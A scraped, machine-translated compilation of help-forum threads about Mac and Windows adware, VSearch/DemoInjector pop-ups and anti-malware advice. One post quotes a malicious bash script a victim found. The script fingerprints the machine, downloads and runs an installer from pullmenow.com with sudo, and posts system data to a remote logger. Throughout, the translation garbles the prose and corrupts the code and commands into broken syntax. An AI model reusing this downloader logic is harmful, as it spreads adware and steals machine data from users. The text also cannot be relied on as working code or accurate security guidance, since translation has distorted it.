Help malware/trojan VSearch

Hello dear mac user,.

Please could someone help me with this annoying thing.

How can I get rid of him?

Symptoms: opening random new tabs (adult/anti-spam content) when I click on some Favorites in my menu (firefox). After some time it also cause some sites to not load at all.

I tried to do things LaunchDaemons while in safe mode. I also installed a new copy of OS X El Capitan, both with no result.

I'm on an aluminum macbook late 2008.

Anyone? Thanks in advance!

Fixes for Adware and pop-ups

  1. Malwarebytes
  2. 2.11 DetectX
  3. Remove the adware that displays pop-up ads and graphics on your Mac
  4. T stop advertising windows pop-up and adware in Safari - Apple Suppor

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[Permission to use any part of the foregoing has been granted by khati, exclusively, to theratter.]

Setting pop-up Windows Safari

[The following is the user stevejobsfan0123. [I made minor changes to adapt to this presentation.]

Difficulty a few pop ups browser that supported Safari

Common pop - ups include a message saying that the Government has taken over your computer and you pay release (often called "Moneypak"), or a false message saying that your computer has been infected and you need to call a number of tech support (sometimes claiming to be Apple) to get it to be resolved. First of all, understand that these pop-ups are not caused by a virus and that your computer has not been assigned. This "hack" is limited to your web browser. Also understand that these messages are scams, so don't pay not money, call number, or provide personal information. This article will give an overview of the solution to remove the pop-up window.

Quit Safari

Usually, these pop-ups will not go by clicking 'OK' or 'Cancel '. In addition, several menus in the menu bar may become disabled and show in grey, including the option to leave Safari. You'll probably force quit Safari. To do this, press command + option + ESC, select Safari, press on force quit.

Relaunch Safari

If you restart Safari, the page will reopen. To avoid this, hold the "Shift" key when opening Safari. This will prevent windows since the last time that Safari was running since the reopening.

It will not work in all cases. The SHIFT key must be maintained at the right time, and in some cases, even if done correctly, the window is displayed again. In these circumstances, after force quit Safari, turn off Wi - Fi or disconnect Ethernet, depending on how you connect to the Internet. Then restart Safari normally. He'll try to reload the malicious Web page, but without a connection, it will not be able to. Leave this page by entering a different URL, i.e. www.apple.com and try to load it. Now you can reconnect to the Internet and the page that you entered is displayed rather than the malicious.

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  • Removal of DemoInjector (Mac.Trojan.VSearch)

    Hello

    I see the script below in the root path (named / leader) and guess I accidentally installed the DemoInjector (Mac.Trojan.VSearch).

    -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- ---------------------

    #! / bin/bash

    # ioreg-l | grep EI manufacturer EI 'name of the seller.

    updFile="/var/tmp/updText.txt".

    updFileError="/var/tmp/updTextError.txt".

    chmod 777 $updFile;

    chmod 777 $updFileError;

    echo > $updFile

    echo > $updFileError

    br_mid = $(ioreg-rd1-c IOPlatformExpertDevice | awk ' /IOPlatformUUID/ {split ($0, la ligne "\" ");}) printf ("%s\n", line [4]) ;}")

    midFile = $(trouver /System/Library/Frameworks-type f-nom "*.) UUID.plist '-print0 | XARGS-ls 0 - tl | Sort - n | tail-1 | AWK '{print $9}')

    If [-e "$midFile"];. then

    Mid = $(echo "$midFile" | python-c ' import sys; print open (sys.stdin.read () .rstrip (), "r") .read () .split ("< string >") [1] .split ("< /string >") [0] "")

    echo "mid: $mid. ' > > $updFile

    FI

    "get_pd_client_data ="http://93a555685cc7443a8e1034efa1f18924.com/v/cld?mid=$ br_mid & ct = pd"

    data = $("$get_pd_client_data" curl-s)

    DC =""

    Channel = $(écho $dc | tr-d ' [[: space:]]' | tr-cd 0-9)

    pdChannel = ${dc:2}

    echo "DC: $dc" > > $updFile

    click_id = '0 '.

    echo "CLICK_ID: $click_id" > > $updFile

    click_stamp =""

    echo "CLICK_STAMP: $click_stamp" > > $updFile

    ID = $dc "-" $click_id '_' $click_stamp '_' $br_mid

    echo "full ID: $id" > > $updFile

    Domain = ""http://aa81bf391151884adfa3dd677e41f94be1.com"" "

    pop_url = ""http://aa81bf391151884adfa3dd677e41f94be1.com/pp/fd?re=1 & uid = [MACHINE_ID] & u = [CON TEXT_URL]' ' "

    pop_delay = '1 '.

    If [$midFile]; then

    frm = $(echo $midFile | tail-1 | awk-F "/" '{print $5}' | awk-F «.») '{print $1}')

    FI

    mid_proc = false

    If [$frm]; then

    If ps - ef | grep - v grep | grep - q $frm; then

    mid_proc = true

    FI

    FI

    echo "midFile: $midFile." > > $updFile

    echo "frm: $frm" > > $updFile

    echo "mid_proc: $mid_proc" > > $updFile

    pInj () {}

    tmpfile="/var/tmp/dit7.tgz".

    filePath = ' / var/tmp/DemoInjector10042016 ".

    / usr/bin/curl s-L o $tmpfile 'http://pullmenow.com/pd_files/dit7.tgz', #Vipul - this is where it download

    Sleep 10

    tar - xzf $tmpfile - C/var/tmp /.

    sleep 5

    sudo chmod $777 filePath/install_Injector.sh

    sudo $filePath/install_Injector.sh a pdChannel of $ $domain echo $click_id > > $updFile

    sudo $filePath/install_Injector.sh a pdChannel of $ $click_id $domain

    sleep 30

    rm - rf $tmpfile

    rm - rf $filePath

    }

    shouldPDInj = '1 '.

    echo $shouldPDInj

    If [[$mid_proc = false & & "$shouldPDInj" == "1"]]; then

    echo "vs_inj_no_mid" > > $updFile

    echo 'PInj with logger Setup' > > $updFile

    pInj & > $updFileError;

    Sleep 10

    ECHO $(</var/tmp/updTextError.txt) > > $updFile

    on the other

    echo "vs_inj_mid: $mid" > > $updFile

    FI

    eventType = 'Update of the Script output'

    sleep 30

    curl - POST "http://93a555685cc7443a8e1034efa1f18924.com/v/pd-logger" request - data "vs_mid = $milieu" - data "br_mid = br_mid$ ' - data-urlencode 'event_type = $eventType' - data-urlencode"event_data = $(<$updFile) ".

    sleep 5

    rm - rf $updFile

    rm - rf /var/tmp/updText2.txt

    rm - rf $updFileError

    -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- ---------------------

    See also below two in/etc/passwd

    _clamav: *: 82:82:ClamAV daemon: / var/virusmails: / usr/bin/false

    _amavisd: *: 83:83:AMaViS daemon: / var/virusmails: / usr/bin/false

    I renamed /file file.txt and rebooted.

    I am familiar with unix but new on the Mac.

    Need advice how to remove.

    Thank you

    -Vipul.

    Try running MalwareBytes Anti-Malware.

  • When you click Web sites my Avast 5.0 antivirus warns me that a malicious URL tries to access my system or that a Trojan horse was prevented access. Malware/Trojan attempt is always of the same address:[Ticon.in/nte/kuz/.exe/xhdoe515bvo3

    Suspect Maleware / Trojan.

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    Each time Firefox opened

    == I tried to access a website

    Hello Dave deaf.

    It is possible that you have a problem with some Add on Firefox which is an obstacle to the normal behavior of your Firefox. Have you tried to disable all add-ons (just to see) to see if Firefox goes back to normal?

    Whenever you have a problem with Firefox, whatever it is, you must make sure that it is not caused by one (or more) of your installed modules, whether an extension, a theme or a plugin. To do this easily and cleanly, start Firefox in safe mode (remember to select disable all add-ons when you start safe mode). If the problem goes away, you know that it's an add-on. Disable them all in normal mode and allow them one by one until you find the source of the problem. See this article for more information on troubleshooting extensions and theme and this one for plugins.

    If you need help with one of your modules, you will need to contact the author.

    In addition, it is possible that your system is infected by malicious software. To search for malicious software, install, update and run these programs in this order. They are all free for personal use, some have limited functionality in their 'free mode', but the features you won't miss are not really necessary to find and remove the problem you have. Remember that not all programs detect the malware even!

    Malwarebytes' Anti-Malware - malwarebytes.org/mbam.php
    SuperAntispyware - superantispyware.com
    AdAware - lavasoftusa.com/software/adaware
    Spybot Search & Destroy - safer-networking.org/en/index.html
    Windows Defender - microsoft.com/windows/products/winfamily/defender/default.mspx
    Dr Web Cureit - freedrweb.com/cureit

    If they can't find it or cannot erase it, please tell me and I will provide you with further assistance.

  • Virus Malware Trojans and other junk

    Okay, so, it is true that I am not a Mac person, gasp, but here comes a true unbiased.

    I helped a member of the family rebuild a MacBook Pro using a USB stick to boot and install the latest version of El Capitan.  I was helping to restore the data literally 48 hours later and to my surprise, that the machine was infected with two pieces of malware (which was visible) 'Advanced Mac Cleaner' and 'ZipClould '.  It is interesting ZipCloud himself had placed in the dock bar, replacing a similar looking cloud storage service.

    So clearly the machine has been compromised, and it was easier to rebuild than to go on the road to 'cleaning up' at this stage.

    How can I avoid this happening again?  I can't look over the shoulder 24 x 7, but there should be a way to avoid this.

    Mac users often ask if they should install "anti-virus" (AV) or software "anti-malware". The answer is 'no', but it can give the false impression that there is no threat of what is loosely called 'virus '. There is a threat.

    1. it is a comment on what you should - and should not-do to protect you from malicious software ("malware") that runs on the Internet and gets onto a computer as an unintended consequence of the user's actions.

    It does not apply to the software, such as keyloggers, which can be installed deliberately by an intruder who has convenient access to the computer, or who has been able to take control of it remotely. This threat is in a different category, and there is no easy way to defend against it. AV software is not intended to and does not, to defend against these attacks.

    The comment is long because the issue is complex. The essential points are in articles 5 and 11.

    OS X implements now three levels of integrated protection specifically against malware, not to mention the protections of runtime such as quarantine the file, execute disable, sandbox, protecting the integrity of system, System Library randomization and randomized address space layout , which can also prevent other kinds of exploits.

    2. all versions of Mac OS X 10.6.7 were able to detect the malware Mac known in downloaded files and block non-secure web plugins. This feature is transparent to the user. Apple calls internally it "XProtect."

    The malware used by XProtect recognition database is automatically updated. However, you should not count on it, because the attackers are still at least a day before the defenders.

    The following restrictions apply to XProtect:

    ☞ circumvented by some third-party network software, such as the BitTorrent clients and Java applets.

    ☞ It applies only to software downloaded on the network. Software installed from a CD or other media is not verified.

    As new versions of Mac OS X are available, it is not clear whether Apple will continue indefinitely maintain the older versions such as 10.6 XProtect database. Versions of obsolete systems security may eventually be affected. Updates to security for the code of obsolete systems will be stop being released at any given time, and which can leave them open to other types of attack in addition to malware.

    3. starting with the OS X 10.7.5, there was a second layer of built-in malware protection, designated "Gatekeeper" by Apple. By default, applications and installation packages downloaded from the network will be run only if they are digitally signed by a developer to a certificate issued by Apple. Certified software in this way has not been checked for safety by Apple, unless it comes to the App Store, but you can be reasonably sure that it has not been changed by someone other than the developer. His identity is known to Apple, so it could be held legally responsible if it distributes malicious software. Which may not mean much if the developer lives in a country with a weak legal system (see below).

    Access controller does not depend on a database of known malware. He has, however, the same limitations as XProtect and in addition the following:

    ☞ It can easily be turned off or overridden by the user.

    ☞ A malware attacker could find a way around it, or could take control of a certificate of signing of code under false pretenses or could simply ignore the consequences of the distribution of malware Tryggvason.

    ☞ Developer App store could find a way around the Apple control, or the control may fail due to human error.

    Apple took too long to revoke some known attackers codesigning certificates, thus diluting the value of the keeper and the program developer ID. These variances do not involve the App Store products, however.

    For the reasons given, App Store, and, to a lesser extent - other applications recognized by signed Gatekeeper, are safer than others, but they cannot be considered to be absolutely sure. "Sand" applications could make to access to private data, such as your contacts, or for access to the network. Think that before granting access. Security sandbox is based on user input. Never click through any application for leave without thinking.

    4. by starting with OS X 10.8.3, a third layer of protection has been added: a "Malware Removal Tool" (MRT). MRT runs automatically in the background. He checks and removes, malware that corresponds to a database of recognition held by Apple. To ensure that MRT will be executed when the database is updated, the App Store tab in system preferences and check the box marked

    Install the system data files and security updates

    If it is not already done.

    As XProtect, MRT is effective against known threats, but not against strangers. It alerts you if it detects malware, but otherwise, it has no user interface.

    5. the built-in Mac OS x security features reduce the risk of malware attack, but they are not and will never be complete protection. Malware is a problem of human behavior, not a behavior machine, and none only of technological solution will solve. Software protect you from trust only will make you more vulnerable.

    The best defense is always going to be your own intelligence. Except perhaps feats of Java, all the known malware, circulating on the Internet wearing reached a completely setting installation to update to OS X 10.6 or later takes the form of so-called "Trojans", which may have no effect if the victim is deceived in their execution. The threat thus amounts to a battle of wits between you and cybercriminals. If you are better informed, they think you are, you win. In effect, it means that you always stay in the shelter of practical computing. How do you know when you leave the safe harbor? Here are a few signs warning of danger.

    Software from a reliable source

    ☞ Software with a brand, such as Adobe Flash Player, does not come directly from the Web site. Don't be fooled an alert of any website for updating Flash, or your browser, or other software. A real alert that Flash is outdated and blocked is shown on this support page. In this case, follow the instructions on the support page. Furthermore, assume that the alert is false and that someone is trying to rip you off to install malicious software. If you see these alerts on more than one Web site, ask for instructions.

    ☞ Software any is distributed via BitTorrent or Usenet, or on a Web site that distributes pirated music and movies.

    ☞ Rogue sites Web such as CNET Download MacUpdate, Soft32, Softonic and SourceForge distribute free applications that have been packaged in a superfluous "install".

    ☞ The software is advertised through spam or intrusive web ads. Any announcement, on any site, which includes a direct link to a download should be ignored.

    Software that is clearly illegal or doing something illegal

    Commercial software ☞ high-end such as Photoshop is "cracked" or "free."

    ☞ An application helps you violates copyright law, for example to circumvent the copy protection on a commercial software, or streamed media recording to be reused without permission. All the 'YouTube downloaders' are in this category, but not all are necessarily malicious.

    Conditional or unsolicited offer from strangers

    ☞ A phone calling or a web page you indicates that you have a "virus" and offers to remove. (Some reputable sites warned visitors who have been infected with the malware "DNSChanger" legitimately. The exception to this rule applies.)

    ☞ A web site offers a free content like music or video, but for use, you must install a "codec", 'plug-in', 'player' 'Downloader', 'extractor', or 'certificate' which comes from the same site, or a stranger.

    ☞ You win a prize in a competition that you are never entered.

    ☞ someone on a forum like this is eager to help you, but only if you download an application of your choice.

    ☞ a 'FREE WI - FI!' network presents itself in a public place like an airport, but is not provided by management.

    ☞ Online everything that you expect to pay is 'free '.

    Unexpected events

    ☞ a file is downloaded automatically when you visit a web page, without any further action on your part. delete any file without opening it.

    ☞ You open what you think, it is a document and you receive an alert that it is "an application downloaded from the Internet." Click Cancel and delete the file. Even if you don't get the alert, you still need to delete any file that is not what you expected it to be.

    ☞ An application does something you don't expect, such as permission to access your contacts, your location or the Internet without obvious reason.

    ☞ Software is attached to the email you na not ask, even if it is (or seems to come) by a person of trust.

    I do not leave the safe harbour that once will necessarily lead to disasters, but make a habit of it will weaken your defenses against malicious software attacks. None of the above scenarios must, at the very least, make you uncomfortable.

    6. Java on the Web (not to be confused with JavaScript, to which it is not related, despite the similarity of names) is a weak point in the security of any system. Java is, among other things, a platform to run complex applications in a web page. That was always a bad idea, and Java developers have proved unable to apply it without also creating a portal for malware to enter. Past Java exploits are the closest thing there has ever been a type virus Windows affecting OS X. simply load a page with Java malicious content could be harmful.

    Fortunately, client-side Java on the Web is outdated and largely disappeared. Only a few outdated sites still use it. Try to accelerate the process of extinction by avoiding these sites, if you have a choice. Forget to play games or other uses not Java essentials.

    Java is not included in OS X 10.7 and later versions. Discrete Java installers are distributed by Apple and Oracle (the developer of Java). Do not use one unless you need it. Most of the people don't. If Java is installed, turn it off- not the JavaScript in your browser.

    Whatever the version, experience has shown that Java on the Web is not reliable. If you must use a Java applet for a job on a specific site, Enable Java only for the site in Safari. Never activate Java for a public Web site that carries the third-party advertising. Use only on websites that are well known, protected by login and secure without ads. In Safari 6 or later, you will see a padlock icon in the address bar when you visit a secure site.

    7. another perennial weak point is Adobe Flash Player. Like Java, Flash is declining well deserved, but content Flash is still much more widespread than the contents of Java on the Web. If you choose to install the Flash plugin, you can reduce your exposure to Flash by checking the box marked

    Stop the plug-ins to save energy

    in the Advanced tab of the preferences of Safari window, if not already done. Consider also installing an extension Safari as "ClickToFlash" or "ClickToPlugin." They will prevent the Flash content automatically load and are initially not Flash video is substituted for Flash on YouTube and perhaps a few other sites. I tested the extensions and found them safe, but you should always do your own research before you decide whether to trust any third party software.

    8. remain within the sphere of security, and you will be as safe from malware you can be practically. The rest of this comment is what you must do to protect you.

    Never install any AV or products 'Internet security' for Mac if you have a choice, because they are all worse than useless. If you are required by a (wrong) institutional policy to install some kind of AV, choose one of the free apps in the Mac App Store, nothing else.

    Why you should not use products AV?

    ☞ To recognize malware, software depends on a database of known threats, which is always at least one day to day. This technique is a proven failure, as a major supplier of AV software has admitted. Most of the attacks are "zero-day" - that is, previously unknown. Recognition-based AV does not defend against such attacks, and the enterprise IT industry comes to realize that the traditional AV software is worthless.

    ☞ design is based generally on the nonexistent threat that malware can be injected at any time, anywhere in the file system. Malware is downloaded from the network; He is not of the blue leaves. To meet this threat does not exist, a commercial AV software changes or low level functions of the operating system, which is a waste of resources and a frequent cause of instability, bugs, poor performance, and duplicates.

    ☞ changing the operating system, the software can also create weaknessesthat could be exploited by malicious attackers.

    ☞ especially, a false sense of security is dangerous. This fact relates to all AV software it will never be any changes elsewhere.

    9. a free AV product from the Mac App Store is safe as long as you don't let it delete or move files. Ignore all the warnings that it can give you on "heuristic" or "phishing." These warnings, if they are not simply false positives, see the text of e-mail messages or updates cached web pages, not malware.

    An AV application is not necessary and may not be invoked for protection against malware for OS X. It is useful, or even not at all, only to detect malware Windows and even for this use it is not really effective, because the new Windows malware makes its appearance much faster than OS X malware.

    Windows malware cannot hurt you directly (unless, of course, you use Windows). Just do not pass to someone else. A malicious link in the e-mail is usually easy to recognize by the name alone. A concrete example:

         London Terror Moovie.avi [124 spaces] Checked By Norton Antivirus.exe

    You don't need software to tell you it's a horse Trojan for Windows. Software may be able to tell what trojan is, but who cares? In practice, there is no reason to use a recognition software, unless an organizational strategy requires. Malware Windows is so widespread that you must assume that it is in each attachment until proof to the contrary. Nevertheless, a free AV product on the App Store can serve a purpose if it fulfills a misinformed network administrator that says you must have some sort of application AV. An App Store product will not change the operating system; in fact, it does nothing, unless you run it.

    If you are just curious to know if a file is considered malware by the AV engines, you can download it from the "VirusTotal" site, where it will be tested against most of them without charge. A negative result is evidence of what whether, for the reasons given above. I do not recommend doing this with a file that may contain private information.

    10. There seems to be a common belief that the firewall Application acts as a barrier to infection, or prevents operation of malware. He does not. It blocks incoming connections to some network services you are using, such as file sharing. It is disabled by default, and you should leave it like that if you're behind a router on a private home or office network. Activate only when you are on an untrusted network, for example a public Wi - Fi hotspot, where you do not want to provide services. Disable services that you don't use in the sharing preferences window. All are disabled by default.

    11. as a Mac user, you don't have to live in fear that your computer may be infected whenever you install the software, read emails, or visit a web page. But nor can you assume that you will always be free from exploitation, no matter what you do. Internet browsing, it's like walking the streets of a big city. It can be as safe or as dangerous that you choose to do so. The greatest harm done by software AV is precisely its selling point: it makes people feel safe. They can then feel sufficiently safe to take risks, which the software does not protect them. Nothing can reduce the need for safe computing practices.

  • Please help malware

    I really need someone to help me. When I click on what to using chrome, I get a big red screen and the message"

    The advance site contains malware

    Attackers now on p.adconfer.com can try to install dangerous programs on your Mac that fly or delete your information (for example, photos, passwords, messages, and credit cards).

    "

    I use malwarebytes to scan and it found nothing, and when checking the applications in the finder, there is nothing I don't know. I deleted all the data cache cookies history, I even deleted and reinstalled chrome, but that did not do it...

    In addition, when you use safari from time to time security slides up and I get redirect to the same Chinese site, which is probably related to this whole mess. Can someone help me please?

    Hello danielM12,

    You will not be able to find advertising files using the Finder. I wrote a small program of diagnosis to help show a software that is installed and running in the background. Download EtreCheck from http://www.etrecheck.com, run it and paste the results here. EtreCheck is perfectly safe to run, don't request your password to install and is signed with my developer Apple ID.

    However, EtreCheck is really directed toward Safari. It will report the Chrome extensions. Launch Chrome and choose 'Extensions' from the 'Window' menu Disable all of them and see if that fixes it. Your EtreCheck report may reveal additional adware.

    WARNING: Although EtreCheck is free, there are other links on my site that could give me some form of compensation, financial or otherwise.

  • I have what appears to be a virus/malware/Trojan horse

    and it is located near Microsoft security essentials and is listed as a serious threat, but it is allowed. I never allowed that and I can't get rid of it?

    Search for malware:

    Download, install, execute, update and perform analyses complete system with the two following applications:

    Remove anything they find.  Reboot when necessary.  (You can uninstall one or both when finished.)

    Search online with eSet Online Scanner.

    The less you have to run all the time, most things you want to run will perform:

    Use Autoruns to understand this all starts when your computer's / when you log in.  Look for whatever it is you do not know using Google (or ask here.)  You can hopefully figure out if there are things from when your computer does (or connect) you don't not need and then configure them (through their own built-in mechanisms is the preferred method) so they do not - start using your resources without reason.

    You can download and use Process Explorer to see exactly what is taking your time processor/CPU and memory.  This can help you to identify applications that you might want to consider alternatives for and get rid of all together.

    Do a house cleaning and the dust of this hard drive:

    You can free up disk space (will also help get rid of the things that you do not use) through the following steps:

    Windows XP should take between 4.5 and 9 GB * with * an Office suite, editing Photo software, alternative Internet browser (s), various Internet plugins and a host of other things installed.

    If you are comfortable with the stability of your system, you can delete the uninstall of patches which has installed Windows XP...
    http://www3.TELUS.NET/dandemar/spack.htm
    (Especially of interest here - #4)
    (Variant: http://www.dougknox.com/xp/utils/xp_hotfix_backup.htm )

    You can run disk - integrated into Windows XP - cleanup to erase everything except your last restore point and yet more 'free '... files cleaning

    How to use disk cleanup
    http://support.Microsoft.com/kb/310312

    You can disable hibernation if it is enabled and you do not...

    When you Hibernate your computer, Windows saves the contents of the system memory in the hiberfil.sys file. As a result, the size of the hiberfil.sys file will always be equal to the amount of physical memory in your system. If you don't use the Hibernate feature and want to reclaim the space used by Windows for the hiberfil.sys file, perform the following steps:

    -Start the Control Panel Power Options applet (go to start, settings, Control Panel, and then click Power Options).
    -Select the Hibernate tab, uncheck "Activate the hibernation", and then click OK. Although you might think otherwise, selecting never under "Hibernate" option on the power management tab does not delete the hiberfil.sys file.
    -Windows remove the "Hibernate" option on the power management tab and delete the hiberfil.sys file.

    You can control the amount of space your system restore can use...

    1. Click Start, right click my computer and then click Properties.
    2. click on the System Restore tab.
    3. highlight one of your readers (or C: If you only) and click on the button "settings".
    4 change the percentage of disk space you want to allow... I suggest moving the slider until you have about 1 GB (1024 MB or close to that...)
    5. click on OK. Then click OK again.

    You can control the amount of space used may or may not temporary Internet files...

    Empty the temporary Internet files and reduce the size, that it stores a size between 64 MB and 128 MB...

    -Open a copy of Microsoft Internet Explorer.
    -Select TOOLS - Internet Options.
    -On the general tab in the section 'Temporary Internet files', follow these steps:
    -Click on 'Delete the Cookies' (click OK)
    -Click on "Settings" and change the "amount of disk space to use: ' something between 64 MB and 128 MB. (There may be many more now.)
    -Click OK.
    -Click on 'Delete files', then select "Delete all offline content" (the box), and then click OK. (If you had a LOT, it can take 2 to 10 minutes or more).
    -Once it's done, click OK, close Internet Explorer, open Internet Explorer.

    You can use an application that scans your system for the log files and temporary files and use it to get rid of those who:

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